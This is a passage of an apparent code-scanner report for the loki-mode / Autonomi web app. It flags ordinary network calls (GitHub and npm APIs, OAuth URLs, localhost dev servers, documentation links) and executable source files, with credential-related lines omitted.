  • Access to secretsline 3573
    [Credential-related source omitted]
  • Access to secretsline 4340
    [Credential-related source omitted]
  • Access to secretsline 4592
    [Credential-related source omitted]
  • Network accessline 5011
    try:         s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  • Network accessline 5012
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  • Network accessline 5022
    expo_url = f"exp://{lan_ip}:{port}"     qr_api = f"https://api.qrserver.com/v1/create-qr-code/?size=250x250&data={expo_url}"
  • Network accessline 5023
    qr_api = f"https://api.qrserver.com/v1/create-qr-code/?size=250x250&data={expo_url}"
  • Network accessline 5056
    </div>     <div class="web-link">       <a href="http://{lan_ip}:{port}" target="_blank">Open web version</a>
  • Network accessline 5057
    <div class="web-link">       <a href="http://{lan_ip}:{port}" target="_blank">Open web version</a>     </div>
  • Network accessline 5058
    <a href="http://{lan_ip}:{port}" target="_blank">Open web version</a>
  • Access to secretsline 5300
    [Credential-related source omitted]
  • Access to secretsline 5409
    [Credential-related source omitted]
  • Network accessline 5766
    gh = shutil.which("gh")         if not gh:             return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 5768
    return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 6012
    target_host = f"{app_name}.localhost"         target_port = 1355         target_url = f"http://{target_host}:{target_port}/{path}"
  • Network accessline 6013
    target_port = 1355         target_url = f"http://{target_host}:{target_port}/{path}"     else:
  • Network accessline 6014
    target_url = f"http://{target_host}:{target_port}/{path}"
  • Network accessline 6016
    target_port = server["port"]         target_host = f"127.0.0.1:{target_port}"         target_url = f"http://127.0.0.1:{target_port}/{path}"
  • Network accessline 6018
    target_url = f"http://127.0.0.1:{target_port}/{path}"
  • Network accessline 6036
    client = httpx.AsyncClient(timeout=60.0, follow_redirects=False)
  • Network accessline 6222
    return JSONResponse(status_code=501, content={"error": "GitHub OAuth not configured"})     state = generate_oauth_state()     url = f"https://github.com/login/oauth/authorize?client_id={GITHUB_CLIENT_ID}&scope=user:email&state={state}"
  • Network accessline 6223
    state = generate_oauth_state()     url = f"https://github.com/login/oauth/authorize?client_id={GITHUB_CLIENT_ID}&scope=user:email&state={state}"     return JSONResponse(content={"url": url})
  • Network accessline 6224
    url = f"https://github.com/login/oauth/authorize?client_id={GITHUB_CLIENT_ID}&scope=user:email&state={state}"
  • Access to secretsline 6232
    [Credential-related source omitted]
  • Access to secretsline 6275
    [Credential-related source omitted]
  • Network accessline 6290
    if not GOOGLE_CLIENT_ID:         return JSONResponse(status_code=501, content={"error": "Google OAuth not configured"})     redirect_uri = os.environ.get("GOOGLE_REDIRECT_URI", f"http://localhost:{PORT}/api/auth/google/callback")
  • Network accessline 6291
    return JSONResponse(status_code=501, content={"error": "Google OAuth not configured"})     redirect_uri = os.environ.get("GOOGLE_REDIRECT_URI", f"http://localhost:{PORT}/api/auth/google/callback")     state = generate_oauth_state()
  • Network accessline 6292
    [Credential-related source omitted]
  • Access to secretsline 6292
    [Credential-related source omitted]
  • Network accessline 6293
    state = generate_oauth_state()     url = (         f"https://accounts.google.com/o/oauth2/v2/auth"
  • Network accessline 6294
    url = (         f"https://accounts.google.com/o/oauth2/v2/auth"         f"?client_id={GOOGLE_CLIENT_ID}"
  • Network accessline 6295
    f"https://accounts.google.com/o/oauth2/v2/auth"
  • Access to secretsline 6309
    [Credential-related source omitted]
  • Network accessline 6322
    [Credential-related source omitted]
  • Access to secretsline 6322
    [Credential-related source omitted]
  • Access to secretsline 6355
    [Credential-related source omitted]
  • Access to secretsline 6665
    [Credential-related source omitted]
  • Access to secretsline 6674
    [Credential-related source omitted]
  • Network accessline 7171
    # Handle HTTPS: https://github.com/owner/repo.git
  • Network accessline 7199
    gh = shutil.which("gh")     if not gh:         raise FileNotFoundError("gh CLI not found. Install it: https://cli.github.com/")
  • Network accessline 7200
    if not gh:         raise FileNotFoundError("gh CLI not found. Install it: https://cli.github.com/")     return subprocess.run(
  • Network accessline 7201
    raise FileNotFoundError("gh CLI not found. Install it: https://cli.github.com/")
  • Network accessline 7303
    })     except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7304
    except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})     except subprocess.TimeoutExpired:
  • Network accessline 7305
    return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7351
    return JSONResponse(content=issues)     except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7352
    except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})     except json.JSONDecodeError:
  • Network accessline 7353
    return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7390
    return JSONResponse(content=issue)     except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7391
    except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})     except json.JSONDecodeError:
  • Network accessline 7392
    return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7438
    return JSONResponse(content=prs)     except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7439
    except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})     except json.JSONDecodeError:
  • Network accessline 7440
    return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7478
    return JSONResponse(content=pr)     except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7479
    except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})     except json.JSONDecodeError:
  • Network accessline 7480
    return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7514
    return JSONResponse(content={"diff": result.stdout})     except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7515
    except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})     except subprocess.TimeoutExpired:
  • Network accessline 7516
    return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Access to secretsline 7607
    [Credential-related source omitted]
  • Network accessline 7780
    return JSONResponse(content={"success": True})     except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7781
    except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})     except subprocess.TimeoutExpired:
  • Network accessline 7782
    return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7822
    return JSONResponse(content={"success": True, "sha": sha})     except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 7823
    except FileNotFoundError:         return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})     except subprocess.TimeoutExpired:
  • Network accessline 7824
    return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"})
  • Network accessline 8206
    [Credential-related source omitted]
  • Access to secretsline 8206
    [Credential-related source omitted]
  • Access to secretsline 8207
    [Credential-related source omitted]
  • Network accessline 8208
    print(f"Purple Lab starting on http://{host}:{port}/lab/")
  • Network accessline 8529
    Supports both HTTPS and SSH remote formats:       https://github.com/owner/repo.git -> owner/repo
  • Network accessline 8530
    https://github.com/owner/repo.git -> owner/repo
  • Network accessline 8541
    # HTTPS: https://github.com/owner/repo.git
  • Network accessline 8553
    gh = shutil.which("gh")     if not gh:         raise FileNotFoundError("gh CLI not found. Install it: https://cli.github.com/")
  • Network accessline 8554
    if not gh:         raise FileNotFoundError("gh CLI not found. Install it: https://cli.github.com/")     return subprocess.run(
  • Network accessline 8555
    raise FileNotFoundError("gh CLI not found. Install it: https://cli.github.com/")

web-app/src/App.tsx

  • Executable scriptline 1
    Executable file

web-app/src/api/client.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 23
    [Credential-related source omitted]
  • Network accessline 33
    async function fetchJSON<T>(path: string, options?: RequestInit): Promise<T> {   const res = await fetch(`${API_BASE}${path}`, {
  • Network accessline 34
    const res = await fetch(`${API_BASE}${path}`, {
  • Network accessline 771
    getDocFileContent: async (sessionId: string, filename: string): Promise<string> => {     const res = await fetch(`${API_BASE}/sessions/${encodeURIComponent(sessionId)}/docs/files/${encodeURIComponent(filename)}`, {
  • Network accessline 772
    const res = await fetch(`${API_BASE}/sessions/${encodeURIComponent(sessionId)}/docs/files/${encodeURIComponent(filename)}`, {
  • Network accessline 783
    const formData = new FormData();     formData.append('image', file);     const res = await fetch(`${API_BASE}/sessions/${encodeURIComponent(sessionId)}/chat/image`, {
  • Network accessline 784
    formData.append('image', file);     const res = await fetch(`${API_BASE}/sessions/${encodeURIComponent(sessionId)}/chat/image`, {       method: 'POST',
  • Network accessline 785
    const res = await fetch(`${API_BASE}/sessions/${encodeURIComponent(sessionId)}/chat/image`, {
  • Access to secretsline 791
    [Credential-related source omitted]

web-app/src/cockpit/AgentChatter.tsx

  • Executable scriptline 1
    Executable file

web-app/src/cockpit/ChangeReview.tsx

  • Executable scriptline 1
    Executable file

web-app/src/cockpit/EvidencePanel.tsx

  • Executable scriptline 1
    Executable file

web-app/src/cockpit/ExecutionCockpit.tsx

  • Executable scriptline 1
    Executable file

web-app/src/cockpit/FinalActions.tsx

  • Executable scriptline 1
    Executable file

web-app/src/cockpit/PhaseTimeline.tsx

  • Executable scriptline 1
    Executable file

web-app/src/cockpit/RiskPanel.tsx

  • Executable scriptline 1
    Executable file

web-app/src/cockpit/RunMetrics.tsx

  • Executable scriptline 1
    Executable file

web-app/src/cockpit/StatusBanner.tsx

  • Executable scriptline 1
    Executable file

web-app/src/cockpit/TaskHeader.tsx

  • Executable scriptline 1
    Executable file

web-app/src/cockpit/derive.ts

  • Executable scriptline 1
    Executable file

web-app/src/cockpit/phases.ts

  • Executable scriptline 1
    Executable file

web-app/src/cockpit/run-derive-view-test.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 27
    globalThis.window = { location: { origin: 'http://localhost', hostname: 'localhost' } };

web-app/src/cockpit/useCockpitState.ts

  • Executable scriptline 1
    Executable file

web-app/src/components/AIChatPanel.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 570
    try {       const streamUrl = api.chatStreamUrl(sessionId, taskId);       const response = await fetch(streamUrl, { signal: controller.signal });
  • Network accessline 572
    const response = await fetch(streamUrl, { signal: controller.signal });

web-app/src/components/AchievementToast.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ActivityFeed.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ActivityPanel.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/AgentDashboard.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/AuditTrail.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/Avatar.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/BenefitCards.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/BuildActivityFeed.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/BuildCelebration.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/BuildInsights.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/BuildProgressBar.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/BuildReplay.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/CICDPanel.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 508
    const msg = err instanceof Error ? err.message : String(err);       if (msg.includes('gh CLI not found')) {         setPanelError({ type: 'gh_not_found', message: 'The gh CLI is not installed. Install it from https://cli.github.com/ to enab
  • Network accessline 509
    if (msg.includes('gh CLI not found')) {         setPanelError({ type: 'gh_not_found', message: 'The gh CLI is not installed. Install it from https://cli.github.com/ to enable CI/CD integration.' });       } else if (msg.includes('not authen
  • Network accessline 510
    setPanelError({ type: 'gh_not_found', message: 'The gh CLI is not installed. Install it from https://cli.github.com/ to enable CI/CD integration.' });
  • Network accessline 635
    <p className="text-xs text-[#939084] mt-1">{panelError.message}</p>                 <a                   href="https://cli.github.com/"
  • Network accessline 636
    <a                   href="https://cli.github.com/"                   target="_blank"
  • Network accessline 637
    href="https://cli.github.com/"

web-app/src/components/Celebration.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ChangePreview.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ChangelogWidget.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    <h4 className="text-sm font-bold text-[#36342E]">Changelog</h4>         <a           href="https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md"
  • Network accessline 8
    <a           href="https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md"           target="_blank"
  • Network accessline 9
    href="https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md"

web-app/src/components/CheckpointTimeline.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/CommandPalette.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ComplianceDashboard.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ContextualHelp.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ControlBar.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/CostEstimator.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/CustomTemplateCreator.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/DeployConnections.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 62
    bgColor: 'bg-ink/10',     borderColor: 'border-ink/20',     tokenUrl: 'https://vercel.com/account/tokens',
  • Network accessline 63
    borderColor: 'border-ink/20',     tokenUrl: 'https://vercel.com/account/tokens',     tokenUrlLabel: 'Get your token from vercel.com/account/tokens',
  • Network accessline 64
    tokenUrl: 'https://vercel.com/account/tokens',
  • Network accessline 74
    bgColor: 'bg-teal-500/10',     borderColor: 'border-teal-500/20',     tokenUrl: 'https://app.netlify.com/user/applications#personal-access-tokens',
  • Network accessline 75
    borderColor: 'border-teal-500/20',     tokenUrl: 'https://app.netlify.com/user/applications#personal-access-tokens',     tokenUrlLabel: 'Get your token from app.netlify.com/user/applications',
  • Network accessline 76
    tokenUrl: 'https://app.netlify.com/user/applications#personal-access-tokens',
  • Network accessline 86
    bgColor: 'bg-purple-500/10',     borderColor: 'border-purple-500/20',     tokenUrl: 'https://cli.github.com/',
  • Network accessline 87
    borderColor: 'border-purple-500/20',     tokenUrl: 'https://cli.github.com/',     tokenUrlLabel: 'Install GitHub CLI',
  • Network accessline 88
    tokenUrl: 'https://cli.github.com/',
  • Network accessline 198
    </div>       <a         href="https://cli.github.com/"
  • Network accessline 199
    <a         href="https://cli.github.com/"         target="_blank"
  • Network accessline 200
    href="https://cli.github.com/"

web-app/src/components/DeployPanel.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/DeviceFrameSelector.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/Divider.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/DocsSidebar.tsx

  • Executable scriptline 1
    Executable file
  • Access to secretsline 99
    [Credential-related source omitted]

web-app/src/components/ErrorBoundary.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/EvidenceReceiptPanel.tsx

  • Executable scriptline 1
    Executable file
  • Access to secretsline 40
    [Credential-related source omitted]

web-app/src/components/FeatureDiscoveryDot.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/FeaturedTemplates.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/FileBrowser.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/Footer.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    { label: 'Features', to: '/' },       { label: 'Templates', to: '/templates' },       { label: 'Docs', href: 'https://github.com/asklokesh/loki-mode/wiki' },
  • Network accessline 19
    { label: 'Templates', to: '/templates' },       { label: 'Docs', href: 'https://github.com/asklokesh/loki-mode/wiki' },     ],
  • Network accessline 20
    { label: 'Docs', href: 'https://github.com/asklokesh/loki-mode/wiki' },
  • Network accessline 25
    links: [       { label: 'Quick Start', to: '/' },       { label: 'API Reference', href: 'https://github.com/asklokesh/loki-mode/wiki/API-Reference' },
  • Network accessline 26
    { label: 'Quick Start', to: '/' },       { label: 'API Reference', href: 'https://github.com/asklokesh/loki-mode/wiki/API-Reference' },       { label: 'CLI Docs', href: 'https://github.com/asklokesh/loki-mode/wiki/CLI-Reference' },
  • Network accessline 27
    { label: 'API Reference', href: 'https://github.com/asklokesh/loki-mode/wiki/API-Reference' },
  • Network accessline 28
    { label: 'CLI Docs', href: 'https://github.com/asklokesh/loki-mode/wiki/CLI-Reference' },
  • Network accessline 29
    { label: 'Changelog', href: 'https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md' },
  • Network accessline 33
    title: 'Company',     links: [       { label: 'About Autonomi', href: 'https://www.autonomi.dev/' },
  • Network accessline 34
    links: [       { label: 'About Autonomi', href: 'https://www.autonomi.dev/' },       { label: 'Blog', href: 'https://www.autonomi.dev/blog' },
  • Network accessline 35
    { label: 'About Autonomi', href: 'https://www.autonomi.dev/' },
  • Network accessline 36
    { label: 'Blog', href: 'https://www.autonomi.dev/blog' },
  • Network accessline 37
    { label: 'Careers', href: 'https://www.autonomi.dev/careers' },
  • Network accessline 42
    title: 'Community',     links: [       { label: 'GitHub', href: 'https://github.com/asklokesh/loki-mode' },
  • Network accessline 43
    links: [       { label: 'GitHub', href: 'https://github.com/asklokesh/loki-mode' },       { label: 'Discord', href: 'https://discord.gg/autonomi' },
  • Network accessline 44
    { label: 'GitHub', href: 'https://github.com/asklokesh/loki-mode' },
  • Network accessline 45
    { label: 'Discord', href: 'https://discord.gg/autonomi' },
  • Network accessline 46
    { label: 'Twitter', href: 'https://twitter.com/autonomidev' },
  • Network accessline 47
    { label: 'Forum', href: 'https://github.com/asklokesh/loki-mode/discussions' },
  • Network accessline 98
    </div>           <div className="flex items-center gap-4 text-xs text-[#6B6960]">             <a href="https://www.autonomi.dev/privacy" target="_blank" rel="noopener noreferrer" className="hover:text-[#553DE9] transition-colors">
  • Network accessline 99
    <div className="flex items-center gap-4 text-xs text-[#6B6960]">             <a href="https://www.autonomi.dev/privacy" target="_blank" rel="noopener noreferrer" className="hover:text-[#553DE9] transition-colors">               Privacy
  • Network accessline 100
    <a href="https://www.autonomi.dev/privacy" target="_blank" rel="noopener noreferrer" className="hover:text-[#553DE9] transition-colors">
  • Network accessline 101
    Privacy             </a>             <a href="https://www.autonomi.dev/terms" target="_blank" rel="noopener noreferrer" className="hover:text-[#553DE9] transition-colors">
  • Network accessline 102
    </a>             <a href="https://www.autonomi.dev/terms" target="_blank" rel="noopener noreferrer" className="hover:text-[#553DE9] transition-colors">               Terms
  • Network accessline 103
    <a href="https://www.autonomi.dev/terms" target="_blank" rel="noopener noreferrer" className="hover:text-[#553DE9] transition-colors">

web-app/src/components/GettingStarted.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/GitHubIssuesPanel.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/GitHubPRsPanel.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/GitPanel.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/HowItWorks.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 112
    </div>       <div className="px-3 py-1.5 rounded-lg bg-[#FAF9F6] border border-[#ECEAE3]">         <span className="text-[10px] font-mono text-[#553DE9]">https://my-app.vercel.app</span>
  • Network accessline 113
    <div className="px-3 py-1.5 rounded-lg bg-[#FAF9F6] border border-[#ECEAE3]">         <span className="text-[10px] font-mono text-[#553DE9]">https://my-app.vercel.app</span>       </div>
  • Network accessline 114
    <span className="text-[10px] font-mono text-[#553DE9]">https://my-app.vercel.app</span>

web-app/src/components/KeyboardShortcuts.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/LoadingMessages.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/MagicComponentCard.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/MagicGeneratorPanel.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/MemoryViewer.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/MetricsPanel.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/NLSearch.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/NotificationSystem.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/OnboardingOverlay.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/OpenSourceStats.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 71
    const fetchStats = async () => {       const [repoRes, contributorsRes, npmRes] = await Promise.allSettled([         fetch(`https://api.github.com/repos/${GITHUB_REPO}`),
  • Network accessline 72
    const [repoRes, contributorsRes, npmRes] = await Promise.allSettled([         fetch(`https://api.github.com/repos/${GITHUB_REPO}`),         fetch(`https://api.github.com/repos/${GITHUB_REPO}/contributors?per_page=1&anon=true`, { method: 'HE
  • Network accessline 73
    fetch(`https://api.github.com/repos/${GITHUB_REPO}`),
  • Network accessline 74
    fetch(`https://api.github.com/repos/${GITHUB_REPO}/contributors?per_page=1&anon=true`, { method: 'HEAD' }),
  • Network accessline 75
    fetch(`https://api.npmjs.org/downloads/point/last-month/${NPM_PACKAGE}`),
  • Network accessline 88
    next.contributors = parseInt(match[1], 10);           } else {             const contribRes = await fetch(`https://api.github.com/repos/${GITHUB_REPO}/contributors?per_page=100&anon=true`);
  • Network accessline 89
    } else {             const contribRes = await fetch(`https://api.github.com/repos/${GITHUB_REPO}/contributors?per_page=100&anon=true`);             if (contribRes.ok) {
  • Network accessline 90
    const contribRes = await fetch(`https://api.github.com/repos/${GITHUB_REPO}/contributors?per_page=100&anon=true`);
  • Network accessline 122
    viewBox="0 0 24 24"           fill="none"           xmlns="http://www.w3.org/2000/svg"
  • Network accessline 123
    fill="none"           xmlns="http://www.w3.org/2000/svg"           className="text-[#36342E] dark:text-[#E8E6E3]"
  • Network accessline 124
    xmlns="http://www.w3.org/2000/svg"
  • Network accessline 141
    <div className="mt-4 text-center">         <a           href={`https://github.com/${GITHUB_REPO}`}
  • Network accessline 142
    <a           href={`https://github.com/${GITHUB_REPO}`}           target="_blank"
  • Network accessline 143
    href={`https://github.com/${GITHUB_REPO}`}
  • Network accessline 147
    >           Star us on GitHub           <svg width="14" height="14" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
  • Network accessline 148
    Star us on GitHub           <svg width="14" height="14" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">             <path d="M7 17L17 7M17 7H7M17 7V17" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLi
  • Network accessline 149
    <svg width="14" height="14" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">

web-app/src/components/PRDInput.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/PhaseVisualizer.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/PlanModal.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/PreviewToolbar.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ProductTour.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ProjectGovernance.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ProjectWorkspace.tsx

  • Executable scriptline 1
    Executable file
  • Access to secretsline 421
    [Credential-related source omitted]
  • Network accessline 974
    useEffect(() => {     if (activeWorkspaceTab !== 'dashboard') return;     fetch(`http://127.0.0.1:${dashboardPort}/health`)
  • Network accessline 975
    if (activeWorkspaceTab !== 'dashboard') return;     fetch(`http://127.0.0.1:${dashboardPort}/health`)       .then(r => setDashboardAvailable(r.ok))
  • Network accessline 976
    fetch(`http://127.0.0.1:${dashboardPort}/health`)
  • Network accessline 1050
    ? (devServer.framework === 'expo'         ? `${MOUNT_BASE}/api/sessions/${encodeURIComponent(sessionData.id)}/expo-qr`         : (devServer.portless_url || `http://localhost:${devServer.port}/`))
  • Network accessline 1051
    ? `${MOUNT_BASE}/api/sessions/${encodeURIComponent(sessionData.id)}/expo-qr         : (devServer.portless_url || `http://localhost:${devServer.port}/`))
  • Network accessline 1052
    : (devServer.portless_url || `http://localhost:${devServer.port}/`))
  • Network accessline 1101
    const port = devServer?.port;         if (port) {           resolvedUrl = `http://localhost:${port}${url}`;
  • Network accessline 1102
    if (port) {           resolvedUrl = `http://localhost:${port}${url}`;         }
  • Network accessline 1103
    resolvedUrl = `http://localhost:${port}${url}`;
  • Network accessline 2227
    setDashboardAvailable(null);                               try {                                 const r = await fetch(`http://127.0.0.1:${dashboardPort}/health`);
  • Network accessline 2228
    try {                                 const r = await fetch(`http://127.0.0.1:${dashboardPort}/health`);                                 setDashboardAvailable(r.ok);
  • Network accessline 2229
    const r = await fetch(`http://127.0.0.1:${dashboardPort}/health`);
  • Network accessline 2261
    <div className="flex-1" />                             <a                               href={`http://127.0.0.1:${dashboardPort}/`}
  • Network accessline 2262
    <a                               href={`http://127.0.0.1:${dashboardPort}/`}                               target="_blank"
  • Network accessline 2263
    href={`http://127.0.0.1:${dashboardPort}/`}
  • Network accessline 2271
    {/* Embedded iframe */}                           <iframe                             src={`http://127.0.0.1:${dashboardPort}/#${dashboardView}`}
  • Network accessline 2272
    <iframe                             src={`http://127.0.0.1:${dashboardPort}/#${dashboardView}`}                             className="flex-1 w-full border-none"
  • Network accessline 2273
    src={`http://127.0.0.1:${dashboardPort}/#${dashboardView}`}

web-app/src/components/QualityGatesPanel.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/RBACPanel.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ROICalculator.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ReportPanel.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/Roadmap.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/SessionHistory.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/SmartSuggestions.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/StatusBar.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 81
    buildTime ? `Build time: ${formatBuildDuration(buildTime)}` : '',       prd ? `\nProject: ${prd.substring(0, 100)}${prd.length > 100 ? '...' : ''}` : '',       `\nhttps://autonomi.dev`,
  • Network accessline 82
    prd ? `\nProject: ${prd.substring(0, 100)}${prd.length > 100 ? '...' : ''}` : '',       `\nhttps://autonomi.dev`,     ].filter(Boolean).join('\n');
  • Network accessline 83
    `\nhttps://autonomi.dev`,

web-app/src/components/StatusOverview.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/Tag.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/TeamPanel.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/TemplatePreview.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/TerminalEmulator.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/TerminalOutput.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/TokenSparkline.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/TrustedBy.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/UsageAnalytics.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/UserManagement.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/VirtualList.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/WarmEmptyState.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/WhatsNew.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 124
    <div className="flex items-center justify-between px-6 py-4 border-t border-border">           <a             href="https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md"
  • Network accessline 125
    <a             href="https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md"             target="_blank"
  • Network accessline 126
    href="https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md"

web-app/src/components/auth/ProtectedRoute.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/charts/DonutChart.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/charts/LineChart.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/layout/AppShell.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/layout/Sidebar.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 266
    {/* External docs link */}         <a           href="https://www.autonomi.dev/docs"
  • Network accessline 267
    <a           href="https://www.autonomi.dev/docs"           target="_blank"
  • Network accessline 268
    href="https://www.autonomi.dev/docs"

web-app/src/components/settings/SettingInput.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/settings/SettingSelect.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/settings/SettingSlider.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/settings/SettingToggle.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ui/Badge.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ui/Button.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ui/Card.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ui/ContextMenu.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ui/IconButton.tsx

  • Executable scriptline 1
    Executable file

web-app/src/components/ui/Skeleton.tsx

